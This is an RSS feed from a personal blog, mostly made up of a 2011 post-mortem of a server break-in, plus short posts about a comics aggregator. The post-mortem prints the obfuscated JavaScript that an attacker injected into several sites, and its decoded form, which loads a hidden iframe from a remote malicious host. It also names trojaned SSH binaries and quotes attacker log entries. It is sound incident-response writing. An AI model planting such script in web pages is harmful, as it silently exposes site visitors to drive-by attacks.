<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Something better to do &#187; Web</title>
	<atom:link href="http://blog.kamens.us/category/computers/internet/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.kamens.us</link>
	<description>Musings of an indignant mind</description>
	<lastBuildDate>Mon, 06 Feb 2012 22:35:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
			<item>
		<title>&#8220;That&#8217;s Life&#8221; comic fixed in aggregator</title>
		<link>http://blog.kamens.us/2011/12/21/thats-life-comic-fixed-in-aggregator/</link>
		<comments>http://blog.kamens.us/2011/12/21/thats-life-comic-fixed-in-aggregator/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 03:30:00 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Comics Aggregator]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2592</guid>
		<description><![CDATA[I&#8217;ve fixed the comic &#8220;That&#8217;s Life&#8221;, which was broken in my comics aggregator. &#160;]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve fixed the comic &#8220;That&#8217;s Life&#8221;, which was broken in my <a href="http://comics.kamens.brookline.ma.us/" target="_blank">comics aggregator</a>.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/12/21/thats-life-comic-fixed-in-aggregator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>Comics added to aggregator</title>
		<link>http://blog.kamens.us/2011/12/13/comics-added-to-aggregator/</link>
		<comments>http://blog.kamens.us/2011/12/13/comics-added-to-aggregator/#comments</comments>
		<pubDate>Tue, 13 Dec 2011 06:17:24 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Comics Aggregator]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2588</guid>
		<description><![CDATA[By popular demand (i.e., somebody asked), the following comics have been added to my comics aggregator: Banana Triangle Birdbrains Dog Eat Doug F Minus Ink Pen Luann The Other Coast Overboard Pluggers Rubes Scary Gary Strange Brew Enjoy! P.S. If you find the aggregator useful, please consider making a donation. Thanks! &#160;]]></description>
			<content:encoded><![CDATA[<p>By popular demand (i.e., somebody asked), the following comics have been added to my <a href="http://comics.kamens.brookline.ma.us/" target="_blank">comics aggregator</a>:</p>
<ul>
<li>Banana Triangle</li>
<li>Birdbrains</li>
<li>Dog Eat Doug</li>
<li>F Minus</li>
<li>Ink Pen</li>
<li>Luann</li>
<li>The Other Coast</li>
<li>Overboard</li>
<li>Pluggers</li>
<li>Rubes</li>
<li>Scary Gary</li>
<li>Strange Brew</li>
</ul>
<p>Enjoy!</p>
<p>P.S. If you find the aggregator useful, please consider <a href="http://blog.kamens.us/support-my-blog/" target="_blank">making a donation</a>. Thanks!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/12/13/comics-added-to-aggregator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>&#8220;Jew&#8221; is not a bad word</title>
		<link>http://blog.kamens.us/2011/11/28/jew-is-not-a-bad-word/</link>
		<comments>http://blog.kamens.us/2011/11/28/jew-is-not-a-bad-word/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 02:51:52 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Judaism]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2557</guid>
		<description><![CDATA[Someone forwarded me a chain letter today about how offensive it is that a blatantly antisemitic web site, JewWatch, shows up at or near the top of the search results when you Google the word &#8220;Jew&#8221;. Here&#8217;s my response: http://blog.kamens.us/jew-is-not-a-bad-word/. &#160;]]></description>
			<content:encoded><![CDATA[<p>Someone forwarded me a chain letter today about how offensive it is that a blatantly antisemitic web site, JewWatch, shows up at or near the top of the search results when you Google the word &#8220;Jew&#8221;.</p>
<p>Here&#8217;s my response: <a href="http://blog.kamens.us/jew-is-not-a-bad-word/">http://blog.kamens.us/jew-is-not-a-bad-word/</a>.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/11/28/jew-is-not-a-bad-word/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>Post-mortem of security breach on my Linux server</title>
		<link>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/</link>
		<comments>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/#comments</comments>
		<pubDate>Fri, 16 Sep 2011 19:58:42 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2433</guid>
		<description><![CDATA[On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I&#8217;m involved with. (Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="margin-bottom: 5px;" title="Security Breach" src="http://photos.autoexpress.co.uk/images/front_picture_library_UK/dir_473/car_photo_236739_7.jpg" alt="" width="150" height="100" />On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I&#8217;m involved with.</p>
<p>(Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically fetches the URL /cron.php on the site. Each time /cron.php is fetched, Drupal checks if any scheduled tasks came due since the last time it was fetched, and executes the PHP code for those tasks. The scheduled tasks aren&#8217;t actually supposed to generate any output, so the cron job that fetches /cron.php shouldn&#8217;t generate any output and therefore shouldn&#8217;t cause cron to send email.)</p>
<p>All the sudden, the cron job that fetches /cron.php started sending me email every time that it ran. When I looked closely, I saw that the contents of the email were some strange, totally incomprehensible JavaScript fragment. I was incredibly busy, so although I thought it was curious that this should suddenly start happening, I didn&#8217;t immediately give much thought to it. After it had been stewing in the back of my mind for a couple of hours, however, I suddenly realized with a start that some script kiddie had almost certainly broken into the server and added malicious JavaScript to its pages, so I had no choice but to stop what I was doing and clean up the mess.</p>
<p><span id="more-2433"></span>It turned out that two Drupal files, /index.php and /includes/bootstrap.inc, had indeed had malicious JavaScript appended to the end of them:</p>
<p style="padding-left: 30px;">&lt;script&gt;b=new function(){return 2;};if(!+b)String.prototype.test=&#8221;harC&#8221;;for(i in $=&#8217;esrhserh&#8217;)if(i==&#8217;te&#8217;+'st&#8217;)m=$[i];try{new Object().wehweh();}catch(q){ss=&#8221;";}try{window['e'+'v'+'al'](&#8216;asdas&#8217;)}catch(q){s=String["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd=&#8221;e&#8221;;if({}.asd===&#8217;e')a=document['c'+'r'+'e'+'a'+'t'+'e'+'T'+'e'+'x'+'t'+'N'+'o'+'d'+'e'](&#8217;321&#8242;);if(a.data==321)t=-1*(d-d2);n=[-t+7,-t+7,-t+103,-t+100,-t+30,-t+38,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+39,-t+121,-t+7,-t+7,-t+7,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+57,-t+7,-t+7,-t+123,-t+30,-t+99,-t+106,-t+113,-t+99,-t+30,-t+121,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+117,-t+112,-t+103,-t+114,-t+99,-t+38,-t+32,-t+58,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+30,-t+113,-t+112,-t+97,-t+59,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+30,-t+117,-t+103,-t+98,-t+114,-t+102,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+113,-t+114,-t+119,-t+106,-t+99,-t+59,-t+37,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+56,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+57,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+56,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+57,-t+106,-t+99,-t+100,-t+114,-t+56,-t+46,-t+57,-t+114,-t+109,-t+110,-t+56,-t+46,-t+57,-t+37,-t+60,-t+58,-t+45,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+60,-t+32,-t+39,-t+57,-t+7,-t+7,-t+123,-t+7,-t+7,-t+100,-t+115,-t+108,-t+97,-t+114,-t+103,-t+109,-t+108,-t+30,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+121,-t+7,-t+7,-t+7,-t+116,-t+95,-t+112,-t+30,-t+100,-t+30,-t+59,-t+30,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+97,-t+112,-t+99,-t+95,-t+114,-t+99,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+38,-t+37,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+113,-t+112,-t+97,-t+37,-t+42,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+59,-t+37,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+59,-t+37,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+106,-t+99,-t+100,-t+114,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+114,-t+109,-t+110,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+117,-t+103,-t+98,-t+114,-t+102,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+44,-t+95,-t+110,-t+110,-t+99,-t+108,-t+98,-t+65,-t+102,-t+103,-t+106,-t+98,-t+38,-t+100,-t+39,-t+57,-t+7,-t+7,-t+123];for(i=0;i&lt;n.length;i++)ss+=s(eval(&#8220;n&#8221;+&#8221;["+"i]&#8220;));eval(ss);&lt;/script&gt;</p>
<p>Since this Drupal site is hardly used nowadays and hasn&#8217;t been updated in a long time, my first guess was that somebody had found a way to take advantage of an old Drupal bug to modify files within the site&#8217;s filesystem hierarchy. However, the thing I couldn&#8217;t immediately explain was that neither the modified files nor the directory they lived in were writable by the &#8220;apache&#8221; user which which owns the web server processes. I said to myself, &#8220;Either I&#8217;m missing something, or whoever did this had root access to my server.&#8221; Since I was still incredibly busy, I decided at least for the time being to be optimistic and assume the former because the latter was sure to turn out to be a much bigger pain to deal with. Therefore, I restored the unhacked versions of the files, changed the ownership of all the files in the hierarchy to root, removed write access from the entire hierarchy to everyone, and got on with my day. This was a mistake.</p>
<p>Shortly after, when I was just about to leave the house to go to curriculum night at my kids&#8217; school, I noticed an email message in my inbox saying that another web site I host, an actively maintained MediaWiki site, was reporting an internal server error when people tried to access it. Since it&#8217;s unlikely that the current MediaWiki version would have an unpatched security bug being actively exploited, and even more unlikely that an attacker would exploit separate Drupal and MediaWiki bugs to gain access to a server, it was immediately obvious that someone had, in fact, broken into my server, and I was in for a long night. In the time I had available, all I could do was shut down the web server processes so my server wouldn&#8217;t be serving malicious content onto the web; the next few hours were not my most attentive curriculum night.</p>
<p>Here&#8217;s an overview of what I discovered when I performed a full investigation and mitigation:</p>
<ul>
<li>The MediaWiki files that were modified, with the same JavaScript, were /index.php and /includes/Title.php.</li>
<li>My SSH daemon as well as a number of other SSH executables were replaced. I think the new version which ignored /etc/hosts.deny and had a backdoor to allow root access without going through PAM.</li>
<li>Several other web sites I host were hacked with the same JavaScript:</li>
<ul>
<li>/index.php and /wp-feed.php on my WordPress blog</li>
<li>/charter.html and /index.html on a raw-HTML web site</li>
<li>/index.php on a CMS Made Simple web site</li>
<li>/index.html in the root directory for the default web site (i.e., /var/www/html/index.html on the server filesystem)</li>
<li>/index.php and /includes/footer.php on a currently unused and out-of-date Joomla! web site</li>
</ul>
<li>Here&#8217;s what the obfuscated JavaScript shown above tries to execute:
<pre>if (document.getElementsByTagName('body')[0]) {
    iframer();
}
else  {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src','http://googlecheck.cz.cc/index.php?tp=e959139e7f601264');
    f.style.visibility='hidden';
    f.style.position='absolute';
    f.style.left='0';
    f.style.top='0';
    f.setAttribute('width','10');
    f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}</pre>
</li>
<li>Google Chrome is smart enough to detect and warn about this malicious JavaScript. Firefox isn&#8217;t. I didn&#8217;t try any other browsers.</li>
</ul>
<p>Additional details about what was changed are included below. I saved copies of all of the modified executables and most of the modified web site files, so if you work in internet security by vocation or avocation and feel like disassembling some hacked SSH binaries to see what makes them tick, let me know.</p>
<p>Unfortunately, I can&#8217;t say exactly how the hacker broke into my server. It&#8217;s possible that he took advantage of an unpatched security hole in my virtual machine, but it&#8217;s also possible that he broke into the physical server hosting it, because my VM runs on a VPS infrastructure, in which anyone who with access to the host server has access to all of the processes and files owned by the individual VPSes.</p>
<p>In addition to restoring all of the modified web site files and executables (I ran a complete audit with &#8220;rpm &#8211;verify -a&#8221; as well as comparing the whole filesystem to its previous night&#8217;s backup from before the break-in), I took the following steps to (I hope) protect my server against future incursions:</p>
<ul>
<li>I updated a whole bunch of RPMs on my appliance (full list below), many of which no doubt contained security fixes.</li>
<li>I fixed the configuration of yum-updatesd so that it will (at least I hope it will; I will follow up later to make certain) notify me promptly when future updates are available. I already had it running but configured to send notifications via dbus rather than email, which didn&#8217;t do any good because I never log into the VPS on a graphical console. Shame on me for not making sure this was working properly before.</li>
<li>I reset all of the passwords for accounts that had passwords (accounts whose only access is via SSH public-key authentication do not have passwords).</li>
<li>I changed my own account password not only on my server, but also everywhere else where I used the same password.</li>
</ul>
<h2>More details about the method and content of the attack</h2>
<p>Some interesting log entries from /var/log/secure around when the break-in happened:</p>
<pre>Sep 15 12:28:20 jik3 sshd[3188]: Connection closed by 63.223.110.54
Sep 15 12:37:32 jik3 sshd[1408]: Received signal 15; terminating.
Sep 15 12:37:33 jik3 sshd[16375]: Server listening on 0.0.0.0 port 22.
Sep 15 12:37:55 jik3 sshd[16388]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 12:38:01 jik3 sshd[16435]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:06:53 jik3 sshd[27758]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:06:58 jik3 sshd[27890]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:07:48 jik3 sshd[28345]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:08:10 jik3 sshd[28527]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:09:14 jik3 sshd[28926]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:09:15 jik3 sshd[28929]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:11:32 jik3 sshd[29832]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:11:34 jik3 sshd[29834]: pam_unix(sshd:session): session opened for user root by (uid=0)</pre>
<p>I reviewed all of my logs, and this is the only trace I found of the attack (there didn&#8217;t even seem to be anything left behind in /root/.bash_profile, although I suppose it&#8217;s possible that I accidentally erased it). My best educated guess is that the first log line above is a hint that the attacker used a bug in sshd or one of the libraries it links against, probably a buffer overflow or something like that, to gain access to the server. The second and third lines are when the attacker restarted his version of /usr/sbin/sshd. The subsequent lines are him logging in through the modified sshd.</p>
<p>It&#8217;s worth noting that I have a monitor running on my box which notifies me about abnormal syslog messages on a minute-by-minute basis 24&#215;7, but all of the messages above are considered normal so I wasn&#8217;t notified them. I would have been notified if sshd had logged &#8220;Accepted publickey|password for root from <em>IP-address-that-I-don&#8217;t-usually-use</em>,&#8221; but alas the hacker&#8217;s version of sshd suppressed this log message.</p>
<p>The following SSH executables were all modified at 12:36pm:</p>
<ul>
<li>/usr/sbin/sshd</li>
<li>/usr/bin/ssh-keygen</li>
<li>/usr/bin/scp</li>
<li>/usr/bin/sftp</li>
<li>/usr/bin/ssh</li>
<li>/usr/bin/ssh-add</li>
<li>/usr/bin/ssh-agent</li>
<li>/usr/bin/ssh-keygen</li>
<li>/usr/bin/ssh-keyscan</li>
</ul>
<p>In addition, the files /usr/libexec/sftp-server and /usr/libexec/ssh-keysign, and/usr/share/Ssh.bin were added. The latter was a 600-byte file containing unidentified binary data. The &#8220;file&#8221; utility claims that it is a &#8220;DBase 3 data file (507582464 records),&#8221; which is obviously totally bogus.</p>
<p>Also, a bunch of man pages were added in /usr/share/man: man1/scp.1, man1/sftp.1, man1/slogin.1, man1/ssh-add.1, man1/ssh-agent.1, man1/ssh-keygen.1, man1/ssh-keyscan.1, man1/ssh.1, man5/ssh_config.5, man5/sshd_config.5, man8/sftp-server.8, man8/ssh-keysign.8, and man8/sshd.8. I must admit that it was very considerate for the attacker to include man pages for the binaries he installed! *rimshot*</p>
<h2>Full list of updated RPMs</h2>
<p>Perhaps somebody who follows security patching more closely than I do nowadays can look at this and tell me which of the old RPMs on my server was the attack vector.</p>
<table border="">
<tbody>
<tr>
<th>RPM</th>
<th>Old version</th>
<th>New version</th>
</tr>
<tr>
<td>SysVinit</td>
<td>2.86-15.el5</td>
<td>2.86-17.el5</td>
</tr>
<tr>
<td>apr</td>
<td>1.2.7-11.el5_5.3</td>
<td>1.2.7-11.el5_6.5</td>
</tr>
<tr>
<td>apr-devel</td>
<td>1.2.7-11.el5_5.3</td>
<td>1.2.7-11.el5_6.5</td>
</tr>
<tr>
<td>audit</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>audit-libs</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>audit-libs-python</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>authconfig</td>
<td>5.3.21-6.el5</td>
<td>5.3.21-7.el5</td>
</tr>
<tr>
<td>avahi</td>
<td>0.6.16-9.el5_5</td>
<td>0.6.16-10.el5_6</td>
</tr>
<tr>
<td>avahi-glib</td>
<td>0.6.16-9.el5_5</td>
<td>0.6.16-10.el5_6</td>
</tr>
<tr>
<td>awstats</td>
<td>6.95-1.el5.rf</td>
<td>7.0-2.el5.rf</td>
</tr>
<tr>
<td>bash</td>
<td>3.2-24.el5</td>
<td>3.2-32.el5</td>
</tr>
<tr>
<td>centos-release</td>
<td>5-5.el5.centos</td>
<td>5-7.el5.centos</td>
</tr>
<tr>
<td>centos-release-notes</td>
<td>5.5-0</td>
<td>5.7-0</td>
</tr>
<tr>
<td>coreutils</td>
<td>5.97-23.el5_4.2</td>
<td>5.97-34.el5</td>
</tr>
<tr>
<td>cpp</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>cryptsetup-luks</td>
<td>1.0.3-5.el5</td>
<td>1.0.3-8.el5</td>
</tr>
<tr>
<td>cups-libs</td>
<td>1.3.7-18.el5_5.8</td>
<td>1.3.7-26.el5_6.1</td>
</tr>
<tr>
<td>curl</td>
<td>7.15.5-9.el5</td>
<td>7.15.5-9.el5_7.4</td>
</tr>
<tr>
<td>cyrus-imapd</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>cyrus-imapd-perl</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>cyrus-imapd-utils</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>dbus</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>dbus-devel</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>dbus-libs</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>device-mapper</td>
<td>1.02.39-1.el5_5.2</td>
<td>1.02.63-4.el5</td>
</tr>
<tr>
<td>device-mapper-multipath</td>
<td>0.4.7-34.el5_5.6</td>
<td>0.4.7-46.el5_7.1</td>
</tr>
<tr>
<td>dmidecode</td>
<td>2.10-3.el5</td>
<td>2.11-1.el5</td>
</tr>
<tr>
<td>dmraid</td>
<td>1.0.0.rc13-63.el5</td>
<td>1.0.0.rc13-65.el5</td>
</tr>
<tr>
<td>dmraid-events</td>
<td>1.0.0.rc13-63.el5</td>
<td>1.0.0.rc13-65.el5</td>
</tr>
<tr>
<td>e2fsprogs</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>e2fsprogs-devel</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>e2fsprogs-libs</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>emacs</td>
<td>21.4-20.el5</td>
<td>21.4-24.el5</td>
</tr>
<tr>
<td>emacs-common</td>
<td>21.4-20.el5</td>
<td>21.4-24.el5</td>
</tr>
<tr>
<td>finger</td>
<td>0.17-32.2.1.1</td>
<td>0.17-33</td>
</tr>
<tr>
<td>gcc</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>gcc-c++</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>gdb</td>
<td>7.0.1-23.el5_5.2</td>
<td>7.0.1-37.el5_7.1</td>
</tr>
<tr>
<td>gdbm</td>
<td>1.8.0-26.2.1</td>
<td>1.8.0-26.2.1.el5_6.1</td>
</tr>
<tr>
<td>ghostscript</td>
<td>8.15.2-9.12.el5_5</td>
<td>8.70-6.el5_7.3</td>
</tr>
<tr>
<td>giflib</td>
<td>4.1.3-7.1.el5_3.1</td>
<td>4.1.3-7.3.3.el5</td>
</tr>
<tr>
<td>glibc</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-common</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-devel</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-headers</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>gnome-vfs2</td>
<td>2.16.2-6.el5_5.1</td>
<td>2.16.2-8.el5</td>
</tr>
<tr>
<td>gzip</td>
<td>1.3.5-11.el5.centos.1</td>
<td>1.3.5-13.el5.centos</td>
</tr>
<tr>
<td>hal</td>
<td>0.5.8.1-59.el5</td>
<td>0.5.8.1-62.el5</td>
</tr>
<tr>
<td>httpd</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>httpd-devel</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>hwdata</td>
<td>0.213.18-1.el5.1</td>
<td>0.213.24-1.el5</td>
</tr>
<tr>
<td>initscripts</td>
<td>8.45.30-3.el5.centos</td>
<td>8.45.38-2.el5.centos</td>
</tr>
<tr>
<td>jwhois</td>
<td>3.2.3-8.el5</td>
<td>3.2.3-12.el5</td>
</tr>
<tr>
<td>kernel-headers</td>
<td>2.6.18-194.32.1.el5</td>
<td>2.6.18-274.3.1.el5</td>
</tr>
<tr>
<td>kpartx</td>
<td>0.4.7-34.el5_5.6</td>
<td>0.4.7-46.el5_7.1</td>
</tr>
<tr>
<td>krb5-devel</td>
<td>1.6.1-36.el5_5.6</td>
<td>1.6.1-62.el5</td>
</tr>
<tr>
<td>krb5-libs</td>
<td>1.6.1-36.el5_5.6</td>
<td>1.6.1-62.el5</td>
</tr>
<tr>
<td>less</td>
<td>436-2.el5</td>
<td>436-7.el5</td>
</tr>
<tr>
<td>libXfont</td>
<td>1.2.2-1.0.3.el5_1</td>
<td>1.2.2-1.0.4.el5_7</td>
</tr>
<tr>
<td>libbdevid-python</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>libgcc</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libgcj</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libgomp</td>
<td>4.4.0-6.el5</td>
<td>4.4.4-13.el5</td>
</tr>
<tr>
<td>libpng</td>
<td>1.2.10-7.1.el5_5.3</td>
<td>1.2.10-7.1.el5_7.5</td>
</tr>
<tr>
<td>libselinux</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-devel</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-python</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-utils</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libsmbclient</td>
<td>3.0.33-3.29.el5_5.1</td>
<td>3.0.33-3.29.el5_7.4</td>
</tr>
<tr>
<td>libstdc++</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libstdc++-devel</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libsysfs</td>
